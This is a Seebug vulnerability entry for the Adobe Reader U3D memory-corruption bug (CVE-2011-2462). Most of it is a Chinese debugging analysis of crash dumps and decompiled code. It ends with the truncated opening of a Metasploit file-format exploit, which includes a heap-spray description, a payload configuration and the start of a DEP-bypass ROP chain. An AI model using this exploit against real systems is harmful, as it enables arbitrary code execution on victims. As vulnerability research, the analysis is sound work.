Adobe Reader U3D Memory Corruption Vulnerability

2014-07-01T00:00:00
ID SSV:72491
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00

Description

Adobe Reader U3D Memory Corruption Vulnerability

影响范围

软件版本:<=adobe reader 9.4.6

测试环境

测试pdf 版本:9.4.0 测试系统:win7

相关下载 : 点我下载

漏洞分析

1 . crash info

加hpa的crash info

``` eax=c0c0c0c0 ebx=1e282ea8 ecx=00000024 edx=00000000 esi=00000000 edi=00000000 eip=1a73f2e3 esp=0012f4fc ebp=0012f548 iopl=0 nv up ei ng nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010286 rt3d!QUAT::QUAT+0x5cf: 1a73f2e3 80b8fc09000000 cmp byte ptr <Unloaded_.dll>+0x9fb (000009fc)[eax],0 ds:0023:c0c0cabc=jQuery21409907170905381412_1452575796030

```

不加hpa 的crash info

``` eax=52520026 ebx=1e282ea8 ecx=00000024 edx=00000000 esi=00000000 edi=00000000 eip=1a73f2e3 esp=0012f4fc ebp=0012f548 iopl=0 nv up ei ng nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010286 rt3d!QUAT::QUAT+0x5cf: 1a73f2e3 80b8fc09000000 cmp byte ptr <Unloaded_.dll>+0x9fb (000009fc)[eax],0 ds:0023: 52520A22=??

``` 2. Analysis

这是个pdf 0day漏洞没有任何漏洞描述的相关细节,只知道是u3d格式文件出了问题。用已有的010脚本查看u3d格式也没有发现什么异常。 只能一步步跟踪分析。

从上面的crash info中,必须要找出是什么原因导致eax变成了非法的值,从而触发崩溃

出问题的地方是在u3d格式的node节点出,当显示pdf时,e3_NODE__ChildsDraw函数进行绘制视图

``` C in rt3d.dll int stdcall e3_NODEChildsDraw(struc_1 a1, int a2, int a3, int a4) { struc_1 node; // esi@1 int result; // eax@2

for ( node = (struc_1 )a1->first_node; node; node = (struc_1 )node->next_node ) { result = ((int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD))(node->cobject + 0xC4))(node, a2, a3, a4);// rt3d!e3_NODE::Draw if ( result < 0 ) return result; } return 1; }

```

e3_NODE::Draw函数中会调用sub_ 101819E7(命名为Take_Fill_Node)函数,该函数会申请sizeof(struct1)* node_count大小的内存,sizeof(struct1)=0xa0 ,然后循环(这里总共5个节点,从0-4)将将node+0x68处的一个对象指针赋给申请的内存结构中。此时这个对象指针+0x54偏移处已经是被修改的非法值52520026,因此需要知道这个对象是从哪来的。

node+0x68的对象指针从哪来的呢,这里就要看node节点的分配情况。从rt3d.dll中看到有关于e3_NoDE:类,其中有e3_NODEAddChild和e3_NODECreate等节点操作函数,很自然的在节点的分配出下断点。

``` bu !rt3d+165CCA ".if(1){.echo addchild;gc}" bu !rt3d+181A56 ".if(1){.echo malloc base;db eax;}" bu !rt3d+168050 ".if(1){.echo create new child node;r eax;gc}" bu rt3d!e3_NODE::ChildsDraw+0x19 ".if(1){.echo ChildsDraw childnode ;r esi;dd esi+0x48} l4" bu !rt3d+166EB0 ".if(1){.echo call Take_Fill_Node;dd esp l4;dd poi(esp+4)+0x48}"

```

node节点的分配情况

``` Opened log file 'node.log' 0:004> g

create new child node eax=03217ac8 --allocate root node addchild ModLoad: 668a0000 66a63000 C:\Windows\system32\d3d9.dll ModLoad: 70be0000 70be6000 C:\Windows\system32\d3d8thk.dll ModLoad: 6b400000 6b421000 C:\Windows\system32\vm3dum.dll ModLoad: 67ed0000 67fd5000 C:\Windows\system32\d3d8.dll ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Adobe Reader 9.4.0\Reader 9.0\Reader\plug_ins3d\3difr.x3d - create new child node eax=0321c918 --allocate node1 ---second break addchild create new child node eax=0321d3b8 --allocate node2 addchild create new child node eax=0321d488 --allocate node3 addchild create new child node eax=0321d558 --allocate node4 addchild create new child node eax=0321d628 --allocate node5 addchild ModLoad: 69fa0000 6a00c000 C:\Program Files\Adobe Reader 9.4.0\Reader 9.0\Reader\AdobeXMP.dll ModLoad: 6f8d0000 70350000 C:\Windows\system32\ieframe.dll ModLoad: 718a0000 718dc000 C:\Windows\system32\OLEACC.dll ADOBE_READLOGGER_CMD:PAUSE_LOG ModLoad: 6b3d0000 6b3f1000 C:\Windows\system32\vm3dum.dll ChildsDraw childnode esi=03217ac8 ---root node 03217b10 0321c918 00000000 00000000 00000000 ChildsDraw childnode esi=0321c918 ---node 1 0321c960 00000000 03217ac8 0321d3b8 0321d3b8 ChildsDraw childnode esi=0321d3b8 ---node 2 0321d400 00000000 00000000 0321d488 0321d488 ChildsDraw childnode esi=0321d488 ---node 3 0321d4d0 00000000 00000000 0321d558 0321d558 ChildsDraw childnode esi=0321d558 ---node 4 0321d5a0 00000000 00000000 0321d628 0321d628 ChildsDraw childnode
esi=0321d628 ---node 5 0321d670 00000000 00000000 00000000 00000000 call Take_Fill_Node 0016e860 0321d628 03213ba0 0016e87c 00000000 ---node5
(node5+0x68) offset48 03213be8 00000000 0321ba70 00000000 00000000 03213bf8 00000000 41700000 00000000 00000000 03213c08 3f800000 3f800000 00000000 00000000 03213c18 00000011 00000000 18bd34db 88000000 03213c28 0321c788 00000000 00000000 00000000 03213c38 00000000 00000000 00000000 00000000 03213c48 00000000 00000000 00000000 00000000 03213c58 00000000 00000000 00000000 00000000 call Take_Fill_Node 0016e9b4 0321d558 03213870 0016e9d0 00000000 ---node4
(node4+0x68) offset48 032138b8 00000000 0321b9e0 00000000 00000000
032138c8 00000000 41200000 00000000 00000000 032138d8 3f800000 3f800000 00000000 00000000 032138e8 00000011 00000000 18bd3441 88000000 032138f8 0321c788 00000000 00000000 00000000 03213908 00000000 00000000 00000000 00000000 03213918 00000000 00000000 00000000 00000000 03213928 00000000 00000000 00000000 00000000 call Take_Fill_Node 0016eb08 0321d488 032135c8 03213298 00000000 ---node3
(node3+0x68) offset48 03213610 00000000 0321b950 00000000 00000000
03213620 00000000 00000000 00000000 00000000 03213630 3f800000 3f800000 00000000 00000000 03213640 00000011 00000000 18bd3596 88000000 03213650 0321c788 00000000 00000000 00000000 03213660 00000000 00000000 00000000 00000000 03213670 00000000 00000000 00000000 00000000 03213680 00000000 00000000 00000000 00000000 call Take_Fill_Node 0016ec5c 0321d3b8 03213320 03213298 00000000 ---node2 (node2+0x68) offset48 03213368 00000000 0321b8c0 00000000 00000000
03213378 00000000 00000000 00000000 00000000 03213388 3f800000 3f800000 00000000 00000000 03213398 00000011 00000000 18bd352b 88000000 032133a8 0321c788 00000000 00000000 00000000 032133b8 00000000 00000000 00000000 00000000 032133c8 00000000 00000000 00000000 00000000 032133d8 00000000 00000000 00000000 00000000 call Take_Fill_Node 0016edb0 0321c918 03213fe0 032140f0 00000000 ---node1
(node1+0x68) offset48 03214028 0321d1e8 0321c788 00000000 00000014
03214038 00000000 00000000 00000000 00000000 03214048 03208ff8 00000014 0320c008 03214178 03214058 0321bdd0 00000000 18bd3b53 88000000 03214068 0321c918 00000000 00000000 00000000 03214078 00000000 00000000 00000000 00000000 03214088 00000000 00000000 00000000 00000000 03214098 00000000 00000000 00000000 00000000 eax=00000000 ebx=00000000 ecx=03216d58 edx=0016ecc0 esi=03216d58 edi=00000004 eip=68881a6b esp=0016eda0 ebp=0016eee4 iopl=0 nv up ei pl nz ac pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216 rt3d!e3_LAYER::DeleteThis+0x351: 68881a6b 69ffa0000000 imul edi,edi,0A0h 0:000> dd 0321d1e8+54 0321d23c 52520026 13b80100 00140307 00000000 ---52520026 非法的值 0321d24c 00000000 00000000 1e080000 00300322 0321d25c 00000000 00000000 00000000 00000000 0321d26c 00000000 00000000 00000000 00000000 0321d27c 63380000 00000306 64680000 00000306 0321d28c b3bc0000 00240206 00000000 00030000 0321d29c 00000000 00000000 00000000 00000000 0321d2ac 00000000 00000000 fa3a0000 4d24c105

``` 初步从上面的打印日志来看,是第一个node节点出了问题unkown_class=(node1+0x68) ; (*(unkown_class+0x48)+0x54)=0x52520026

Node+0x68是什么时候初始化的呢,恢复虚拟机快照,重新来过,在第一个node子节点分配成功后断下来 然后下 ba w 1 (node+0x68)的访问断点。 (这里分享个调试的技巧 可以用虚拟机来保存开始调试时候的状态,这里以后重新调试的时候直接恢复虚拟机快照,堆分配的地址都是一样的,可以直接下访问断点。)

``` char userpurge e3_NODESetObject<al>(int a1<ebx>, int node, int a3) { int v3; // eax@1 int v4; // ebx@2 int v6; // [sp-4h] [bp-Ch]@2

v3 = (_DWORD )(node + 0x68); if ( a3 != v3 ) { v6 = a1; v4 = (_DWORD )(node + 0x68); if ( v3 ) ((void (stdcall )(int, int))((_DWORD )v3 + 48))(v3, node); (_DWORD )(node + 0x68) = a3; a3=unkown_class 这里进行的初始化 if ( a3 ) { (*(void (stdcall )(int, int))((_DWORD )a3 + 44))(a3, node); (*(void (__stdcall )(_DWORD))((_DWORD )(node + 104) + 4))((_DWORD )(node + 104)); } ((void (stdcall )(int, signed int, int, int))((_DWORD )node + 52))(node, 1006, v4, v6); if ( v4 ) (*(void (stdcall )(int))((_DWORD )v4 + 8))(v4); (*(void (__cdecl )(int))((_DWORD )node + 224))(node); sub_1013C568((_DWORD )(node + 32)); } return 1; }

```

将a3赋给node+0x68偏移处,此时*(a3+48)+54已经是非法值了

``` eax=00000000 ebx=00000000 ecx=03372b58 edx=688d078c esi=03166560 edi=03373360 eip=68855496 esp=002dd5b0 ebp=03373360 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 rt3d!e3_NODE::SetObject+0x24: 68855496 7410 je rt3d!e3_NODE::SetObject+0x36 (688554a8) [br=0] 0:000> dd 03373360+54 033733b4 52520034 57b80100 00140337 00000000 ------此时已经是52520034 了 033733c4 00000000 00000000 86580000 00300337 033733d4 00000000 00000000 00000000 00000000 033733e4 00000000 00000000 00000000 00000000 033733f4 98580000 00000337 98f00000 00000337 03373404 bef40000 00240329 00000000 00030000 03373414 00000000 00000000 00000000 00000000 03373424 00000000 00000000 00000000 00000000

``` 继续往上追

``` asm in 3difr.x3d

.text:10002DBD mov edi, [esp+8+arg_0] .text:10002DC1 mov esi, [esp+8+arg_4] .text:10002DC5 mov edx, [edi] .text:10002DC7 mov eax, [edx+0C8h] .text:10002DCD push esi ; esi 为某个对象首地址 .text:10002DCE push edi .text:10002DCF call eax //e3_NODE__SetObject 3difr!E3DLLFunc+0xb3f

xt:1000415B push edx .text:1000415C push eax ////--- .text:1000415D push ebp .text:1000415E push esi .text:1000415F call sub_10002D00
.text:10004164 add esp, 10h

bu 3difr!E3DLLFunc+0xb3f bu !3difr+415F

bu !3difr+401F bu !3difr+2b91 ".if(1){db poi(poi(esp))}"

```

流程太复杂 前面追踪的都不太记得了。。。

//猜测那个03373360 也是一个OBJ对象,因此直接在这里下断点 这里是obj分配内存然后初始化的地方。() bu !rt3d+158DF8

这里为什么会猜测这个03373360是以OBJ对象呢,看下面 Rt3d!dll

``` .text:101594DD sub_101594DD proc near ; DATA XREF: .rdata:101DFA20o .text:101594DD .text:101594DD arg_0 = dword ptr 4 .text:101594DD arg_4 = dword ptr 8 .text:101594DD .text:101594DD push esi .text:101594DE push edi .text:101594DF push 158h ; unsigned int .text:101594E4 call ??2@YAPAXI@Z ; operator new(uint) 分配一个OBJ对象 <DEBUG> eax=033784a8 ebx=033751c8 ecx=00000158 edx=03378608 esi=033751c8 edi=00000000 eip=688494e9 esp=002ddd40 ebp=002de0c8 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 rt3d!QUAT::QUAT+0xcb8d: 688494e9 85c0 test eax,eax 0:000> dd 033784a8+54 033784fc bf7fffff 00000000 00000000 00000000 刚申请时的内存里面填充了随机的数据
0337850c bf7fffff 00000000 3f7fffff 00000000 0337851c 00000000 13000013 0029590f 0337f570 0337852c 01fff998 00000001 00000003 00000000 0337853c 00000001 00000001 00000002 00000006 0337854c 00000004 00000001 00000000 00000002 0337855c 00000008 00000000 00000000 00000001 0337856c 00000002 00000009 00000001 00000001 </DEBUG> .text:101594E9 test eax, eax .text:101594EB mov edi, [esp+0Ch+arg_0] .text:101594EF pop ecx .text:101594F0 jz short loc_10159500 .text:101594F2 push dword ptr [edi+20h] .text:101594F5 mov ecx, eax .text:101594F7 call sub_10158DF8 .text:101594FC mov esi, eax .text:101594FE jmp short loc_10159502 .text:10159500 ; --------------------------------------------------------------------------- .text:10159500 .text:10159500 loc_10159500: ; CODE XREF: sub_101594DD+13j .text:10159500 xor esi, esi .text:10159502 .text:10159502 loc_10159502: ; CODE XREF: sub_101594DD+21j .text:10159502 push 0 .text:10159504 push [esp+0Ch+arg_4] .text:10159508 mov ecx, edi .text:1015950A push esi .text:1015950B call sub_10155AA3 从参数一对象中直接拷贝了0x54偏移的成员给予这个OBJ 因此此时需要追踪这个参数一对象什么时候初始化的+54偏移成员变量,而这个参数一 就是 03373360 ,因此猜测也是一个OBJ对象

.text:10159510 test eax, eax .text:10159512 jge short loc_10159528 .text:10159514 test esi, esi .text:10159516 jz short loc_10159526 .text:10159518 mov ecx, esi .text:1015951A call sub_10155E10 .text:1015951F push esi ; void .text:10159520 call ??3@YAXPAX@Z ; operator delete(void ) .text:10159525 pop ecx .text:10159526 .text:10159526 loc_10159526: ; CODE XREF: sub_101594DD+39j .text:10159526 xor esi, esi .text:10159528 .text:10159528 loc_10159528: ; CODE XREF: sub_101594DD+35j .text:10159528 pop edi .text:10159529 mov eax, esi .text:1015952B pop esi .text:1015952C retn 8 .text:1015952C sub_101594DD endp

``` Rt3d!dll //这里进行OBJ对象的初始化 OBJ对象大小0x158

``` int __thiscall sub_10158DF8(void *OBJ, int a2) { int Temp_OBJ; // esi@1

Temp_OBJ = (int)OBJ; e3_OBJECTe3_OBJECT(OBJ); (_DWORD )Temp_OBJ = &off_101DF9BC; e3_GENERICInit(Temp_OBJ, 0x158u); if ( a2 ) sub_1014D0F6(Temp_OBJ, a2); (_DWORD )(Temp_OBJ + 0x50) = 7; (_BYTE )(Temp_OBJ + 0x58) = 0; (_BYTE )(Temp_OBJ + 0x59) = 1; return Temp_OBJ; }

``` 在分配OBJ对象之后 ,此时在这下访问断点ba w 1 03373360+0x54

``` addchild Breakpoint 9 hit eax=52520034 ebx=00717498 ecx=00747a70 edx=007479f0 esi=00000024 edi=03373360 eip=69d9b785 esp=002dd4f8 ebp=01ff0708 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 3difr!E3DLLFunc+0x94f5: 69d9b785 e86e460200 call 3difr!e3_SORTEDCOLLECTION::Create+0xc4 (69dbfdf8)//上一条指令修改了03373360+0x54 0:000> dd 03373360+54 033733b4 52520034 56000100 00140337 00000000 033733c4 00000000 00000000 69b00000 00300337 033733d4 00000000 00000000 00000000 00000000 033733e4 00000000 00000000 00000000 00000000 033733f4 a7a00000 00000337 a8380000 00000337 03373404 bef40000 00240329 00000000 00030000 03373414 00000000 00000000 00000000 00000000 03373424 00000000 00000000 00000000 00000000

.text:1000B759 mov ecx, [esp+78h+var_5C] .text:1000B75D push edi .text:1000B75E call sub_10008780 .text:1000B763 mov ebx, eax .text:1000B765 mov eax, [esp+78h+var_60] .text:1000B769 cmp dword ptr [eax+18h], 1 .text:1000B76D jnz short loc_1000B7B7 .text:1000B76F test ebx, ebx .text:1000B771 jz short loc_1000B799 .text:1000B773 cmp dword ptr [ebx], 1 .text:1000B776 jnz short loc_1000B799 .text:1000B778 mov ecx, [ebx+4] .text:1000B77B mov edx, [esp+78h+var_58] .text:1000B77F mov eax, [ecx]
.text:1000B781 push edx ; void * .text:1000B782 mov [edi+54h], eax .text:1000B785 call ??_V@YAXPAX@Z ; operator delete0:000> db ecx 00747a70 34 00 52 52 52 00 80 3f-b7 48 9c 4a 64 4d 00 88 4.RRR..?.H.JdM.. 00747a80 42 6f 78 30 31 52 58 00-a9 48 9c 4a 00 00 00 88 Box01RX..H.J.... 00747a90 42 6f 78 30 31 52 58 00-ab 48 9c 4a 00 00 00 8c Box01RX..H.J.... 00747aa0 90 64 16 03 00 00 00 00-ad 48 9c 4a 00 00 00 8c .d.......H.J.... 00747ab0 e0 c6 36 03 58 e8 29 03-af 48 9c 4a 00 00 00 8c ..6.X.)..H.J.... 00747ac0 00 00 00 00 ec 41 0e 02-a1 48 9c 4a 00 00 00 88 .....A...H.J.... 00747ad0 c0 63 16 03 f0 63 16 03-a3 48 9c 4a 64 4d 00 88 .c...c...H.JdM.. 00747ae0 70 00 72 00 63 00 00 00-a5 48 9c 4a 00 00 00 88 p.r.c....H.J....

```

这里突然想到了一个跟踪数据流的好办法 对于地址不固定的堆来说利用前面的虚拟机快照 直接对 00747a70 下访问断点ba w 1 00747a70 ba w 1 033684c8

第二次断下后

``` Asm in 3difr .text:100045CE push edx ; Src .text:100045CF push eax ; Dst .text:100045D0 mov [esp+34h+var_4], 0FFFFFFFFh .text:100045D8 call memcpy edx指向 // 0337343a 52 52 52 52 52 01 00 00-00 a6 04 a8 96 b9 3f c5 RRRRR.........?. // 0337344a 43 b2 df 2a 31 b5 56 93-40 00 01 00 00 00 00 00 C..*1.V.@....... // 0337345a 00 05 00 52 52 52 52 52-01 00 00 00 01 00 2e 01 ...RRRRR........ // 0337346a 00 76 00 00 00 00 45 ff-ff ff 23 00 00 00 00 00 .v....E...#..... // 0337347a 00 00 09 00 43 43 43 43-42 6f 78 30 31 02 00 00 ....CCCCBox01... // 0337348a 00 00 00 00 00 01 00 00-00 00 00 00 00 06 00 42 ...............B // 0337349a 6f 02 00 00 00 00 16 ff-ff ff 30 00 00 00 00 00 o.........0..... // 033734aa 00 00 01 00 52 01 00 00-00 a6 04 a8 96 b9 3f c5 ....R.........?.

```

拷贝长度是0x5

再继续

``` 0:000> g Breakpoint 9 hit 0:000> r eax=00550034 ebx=0000001a ecx=00000056 edx=00000055 esi=00776940 edi=00747a68 eip=77262d75 esp=002dd41c ebp=002dd450 iopl=0 ov up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000a02 ntdll!RtlpLowFragHeapFree+0xa6: 77262d75 2b7df4 sub edi,dword ptr [ebp-0Ch] ss:0023:002dd444=007478a8 0:000> kb ChildEBP RetAddr Args to Child
002dd450 77262ce8 00747a70 00717570 00000000 ntdll!RtlpLowFragHeapFree+0xa6 //00747a70指向的内存被释放
002dd468 757cc3d4 007e0000 00000000 00747a70 ntdll!RtlFreeHeap+0x105 002dd47c 71664c39 007e0000 00000000 00747a70 kernel32!HeapFree+0x14 002dd4c8 69da181d 00747a70 00000000 002dde98 MSVCR80!free+0xcd WARNING: Stack unwind information not available. Following frames may be wrong. 002dd518 69d9372b 00000000 002dde98 00000002 3difr!E3DLLFunc+0xf58d 002dd530 69da039a 002dde90 176fc977 002dde90 3difr!E3DLLFunc+0x149b 002dd550 77262fe7 77262e82 00000020 176fc953 3difr!E3DLLFunc+0xe10a 002dd5d4 687219e8 03373360 0000017c 69d92f36 ntdll!RtlpLowFragHeapAllocFromContext+0xaec 00000000 00000000 00000000 00000000 00000000 rt3d!V4CUnloadRT+0x2b278 此时 0:000> dd 00747a70 00747a70 52520034 3f800052 4a9c48b7 88004d64 00747a80 30786f42 00585231 4a9c48a9 88000000 00747a90 30786f42 00585231 4a9c48ab 8c000000 00747aa0 03166490 00000000 4a9c48ad 8c000000 00747ab0 0336c6e0 0329e858 4a9c48af 8c000000 00747ac0 00000000 020e41ec 4a9c48a1 88000000 00747ad0 031663c0 031663f0 4a9c48a3 88004d64 00747ae0 00720070 00000063 4a9c48a5 88000000

```

内存释放掉之后 下面又重新申请了这个地方的内存00747a70

``` 10009DEB or ecx, eax .text:10009DED push ecx ; unsigned int .text:10009DEE call j_??2@YAPAXI@Z ; operator new(uint) .text:10009DF3 add esp, 4 .text:10009DF6 test esi, esi .text:10009DF8 mov [ebp+4], eax //eax = 00747a70 .text:10009DFB jbe loc_10009E89 .text:10009E01 .text:10009E01 loc_10009E01: ; CODE XREF: sub_10009D00+183j .text:10009E01 push 1 .text:10009E03 push 4 .text:10009E05 mov ecx, edi .text:10009E07 call sub_10002A00 .text:10009E0C test eax, eax .text:10009E0E jz short loc_10009E7E .text:10009E10 mov eax, [eax] .text:10009E12 test eax, eax .text:10009E14 jbe short loc_10009E7E .text:10009E16 mov [esp+28h+var_10], eax .text:10009E1A lea ebx, [ebx+0] .text:10009E20 .text:10009E20 loc_10009E20: ; CODE XREF: sub_10009D00+178j .text:10009E20 mov ecx, edi .text:10009E22 call sub_10004520 .text:10009E27 mov esi, eax .text:10009E29 mov eax, [esi] .text:10009E2B test eax, eax .text:10009E2D jz short loc_10009E34 .text:10009E2F cmp byte ptr [eax], 0 .text:10009E32 jnz short loc_10009E38 .text:10009E34 .text:10009E34 loc_10009E34: ; CODE XREF: sub_10009D00+12Dj .text:10009E34 xor eax, eax .text:10009E36 jmp short loc_10009E45 .text:10009E38 ; --------------------------------------------------------------------------- .text:10009E38 .text:10009E38 loc_10009E38: ; CODE XREF: sub_10009D00+132j .text:10009E38 mov eax, [esi+4] .text:10009E3B push 0 ; float .text:10009E3D push eax ; wchar_t .text:10009E3E mov ecx, edi .text:10009E40 call sub_100084B0 .text:10009E45 .text:10009E45 loc_10009E45: ; CODE XREF: sub_10009D00+136j .text:10009E45 mov ecx, [ebp+4] .text:10009E48 mov [ecx+ebx4], eax .text:10009E4B mov eax, [esi] .text:10009E4D test eax, eax .text:10009E4F jz short loc_10009E5A .text:10009E51 push eax ; void * .text:10009E52 call ??_V@YAXPAX@Z ; operator delete .text:10009E57 add esp, 4 .text:10009E5A .text:10009E5A loc_10009E5A: ; CODE XREF: sub_10009D00+14Fj .text:10009E5A mov eax, [esi+4] .text:10009E5D test eax, eax

```

``` c in 3difi

  v10 = sub_10002A00(4, 1);
  if ( v10 )
  {
    v11 = *(_DWORD *)v10;       v10=03373493 
    if ( v11 )          //这里v11=0 直接跳过了初始化 导致后面使用了已经释放掉的内存
    {
      v18 = v11;
      do
      {
        v14 = sub_10004520(v2);
        v13 = v14;
        v12 = *(_DWORD *)v14;
        if ( v12 && *(_BYTE *)v12 )
          v15 = sub_100084B0(*(wchar_t **)(v13 + 4), 0.0);
        else
          v15 = 0;
        *(_DWORD *)(*(_DWORD *)(v5 + 4) + 4 * v1) = v15;// 这里初始化刚刚分配的内存
        if ( *(_DWORD *)v13 )
          operator delete__(*(void **)v13);
        if ( *(_DWORD *)(v13 + 4) )
          operator delete__(*(void **)(v13 + 4));
        operator delete((void *)v13);
      }
      while ( v18-- != 1 );
      v7 = v17;
    }
  }
  ++v1;
}

while ( v1 < v7 );

```

从上面的分析可以知道,漏洞成因是对新分配的内存没有正确的初始化,导致重用了之前分配的内存空间,而刚好之前分配的内存空间的数据来自文件offset =0x10a 。而未初始化的变量刚好是某个对象的首地址,从而有机会导致任意代码执行。 这里分析为什么上面的初始化被绕过 对10002A00函数下断点

``` Bu !3difr+2a00

eax=00747a70 ebx=00000000 ecx=002dde98 edx=00680048 esi=00000001 edi=002dde98 eip=69d92a00 esp=002dd4e8 ebp=00717498 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 3difr!E3DLLFunc+0x770: 69d92a00 56 push esi 0:000> dd ecx+40 002dded8 00000133 00000000 ffffff14 0000017c //133是偏移 002ddee8 0000011c 00000000 00000001 031ea1b8 002ddef8 03299108 03298c28 03372378 033723a8 002ddf08 033723d8 03372408 03372438 0329be18 002ddf18 0329be58 00000000 00000000 031ea398 002ddf28 00000000 002de6e0 69dc0deb 00000000 002ddf38 6887e073 00000001 002de678 0336b970 002ddf48 03363920 00000001 002de678 0336b970 0:000> dd ecx+34 002ddecc 03373360 ffffff45 00000024 00000133 //03373360 指向文件中offset=30h 002ddedc 00000000 ffffff14 0000017c 0000011c 002ddeec 00000000 00000001 031ea1b8 03299108 002ddefc 03298c28 03372378 033723a8 033723d8 002ddf0c 03372408 03372438 0329be18 0329be58 002ddf1c 00000000 00000000 031ea398 00000000 002ddf2c 002de6e0 69dc0deb 00000000 6887e073 002ddf3c 00000001 002de678 0336b970 033639200:000> 0:000> db 03373360 03373360 09 00 43 43 43 43 42 6f-78 30 31 00 00 00 00 00 ..CCCCBox01..... 03373370 00 00 00 00 05 00 00 00-22 ff ff ff 5e 00 00 00 ........"...^... 03373380 00 00 00 00 09 00 43 43-43 43 42 6f 78 30 31 01 ......CCCCBox01. 03373390 00 00 00 00 00 00 00 81-3f 00 00 00 00 00 00 00 ........?....... 033733a0 00 00 00 00 00 00 00 00-00 00 00 81 3f 00 00 00 ............?... 033733b0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 81 ................ 033733c0 3f 00 00 00 00 54 8a 55-c0 a2 02 7c c2 00 00 00 ?....T.U...|.... 033733d0 00 00 00 81 3f 07 00 42-6f 78 30 31 52 58 01 00 ....?..Box01RX..

0:000> db 03373360 +133 03373493 00 00 00 00 06 00 42 6f-02 00 00 00 00 16 ff ff ......Bo........ 033734a3 ff 30 00 00 00 00 00 00-00 01 00 52 01 00 00 00 .0.........R.... 033734b3 a6 04 a8 96 b9 3f c5 43-b2 df 2a 31 b5 56 93 40 .....?.C..*1.V.@ 033734c3 00 01 00 00 00 00 00 00-01 00 52 01 00 00 00 01 ..........R..... 033734d3 00 2e 01 00 76 00 00 00-00 00 00 00 00 00 00 00 ....v........... 033734e3 00 00 00 00 00 ee 0d f6-58 2d 59 29 08 80 2e 35 ........X-Y)...5 033734f3 03 68 f0 2c 03 0c 00 00-00 c0 d0 e0 f0 98 66 b6 .h.,..........f. 03373503 49 00 00 00 80 1e 00 00-00 00 00 00 00 05 00 04 I...............

```

将shader_count改成1 发现漏洞就不触发了,上面那地方就可以正常初始化了。 010检测该漏洞 Shader_list_count!=0 Sls.shader_count=0

                                        
                                            
                                                ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;
require &#39;zlib&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;Adobe Reader U3D Memory Corruption Vulnerability&#39;,
			&#39;Description&#39;    =&#62; %q{
					This module exploits a vulnerability in the U3D handling within
				versions 9.x through 9.4.6 and 10 through to 10.1.1 of Adobe Reader.
				The vulnerability is due to the use of uninitialized memory.

				Arbitrary code execution is achieved by embedding specially crafted U3D
				data into a PDF document. A heap spray via JavaScript is used in order to
				ensure that the memory used by the invalid pointer issue is controlled.
			},
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Author&#39;         =&#62;
				[
					&#39;sinn3r&#39;,
					&#39;juan vazquez&#39;,
					&#39;jduck&#39;
				],
			&#39;References&#39;     =&#62;
				[
					[ &#39;CVE&#39;, &#39;2011-2462&#39; ],
					[ &#39;OSVDB&#39;, &#39;77529&#39; ],
					[ &#39;BID&#39;, &#39;50922&#39; ],
					[ &#39;URL&#39;, &#39;http://www.adobe.com/support/security/advisories/apsa11-04.html&#39; ],
					[ &#39;URL&#39;, &#39;http://blog.vulnhunt.com/index.php/2011/12/12/cve-2011-2462-pdf-0day-analysis/&#39; ],
					[ &#39;URL&#39;, &#39;http://blog.9bplus.com/analyzing-cve-2011-2462&#39; ],
					[ &#39;URL&#39;, &#39;http://contagiodump.blogspot.com/2011/12/adobe-zero-day-cve-2011-2462.html&#39; ]
				],
			&#39;DefaultOptions&#39; =&#62;
				{
					&#39;EXITFUNC&#39; =&#62; &#39;process&#39;,
					&#39;DisablePayloadHandler&#39; =&#62; &#39;true&#39;,
				},
			&#39;Payload&#39;        =&#62;
				{
					&#39;Space&#39;         =&#62; 1000,
					&#39;BadChars&#39;      =&#62; &#34;\x00&#34;,
					&#39;DisableNops&#39;   =&#62; true
				},
			&#39;Platform&#39;       =&#62; &#39;win&#39;,
			&#39;Targets&#39;        =&#62;
				[
					[
						# Adobe Reader 9.4.0 / XP SP3
						# Adobe Reader 9.4.5 / XP SP3
						# Adobe Reader 9.4.6 / XP SP3
						&#39;Adobe Reader 9.4.0 / 9.4.5 / 9.4.6 on Win XP SP3&#39;,
						{
							# gadget from icucnv36:
							# mov ecx,dword ptr [eax+3Ch]
							# mov eax,dword ptr [ecx]
							# call dword ptr [eax+1Ch]
							&#39;Ret&#39; =&#62; 0x4a8453c3
						}
					],
				],
			&#39;DisclosureDate&#39; =&#62; &#39;Dec 06 2011&#39;, #Needs to be checked
			&#39;DefaultTarget&#39;  =&#62; 0))

		register_options(
			[
				OptString.new(&#39;FILENAME&#39;, [ true, &#39;The file name.&#39;,  &#39;msf.pdf&#39;]),
				OptBool.new(&#39;OBFUSCATE&#39;, [false, &#39;Enable JavaScript obfuscation&#39;, false])
			], self.class)

	end

	def junk(n=1)
		tmp = []
		value = rand_text(4).unpack(&#34;L&#34;)[0].to_i
		n.times { tmp &#60;&#60; value }
		return tmp
	end

	def exploit
		# DEP bypass; uses icucnv36.dll
		stack_data = [
			junk,
			0x0c0c0c0c, # mapped at 0x0c0c0c0c # becomes edi after stackpivot
			0x0c0c0c0c, # becomes esi
			0x4a806f29, # pop edi / pop esi / pop ebp / ret 14h
			0x4a8a0000, # becomes edi
			0x4a802196, # becomes esi
			0x4a801f90, # becomes ebp
			0x4a806f29, # pop edi / pop esi / pop ebp / ret 14h
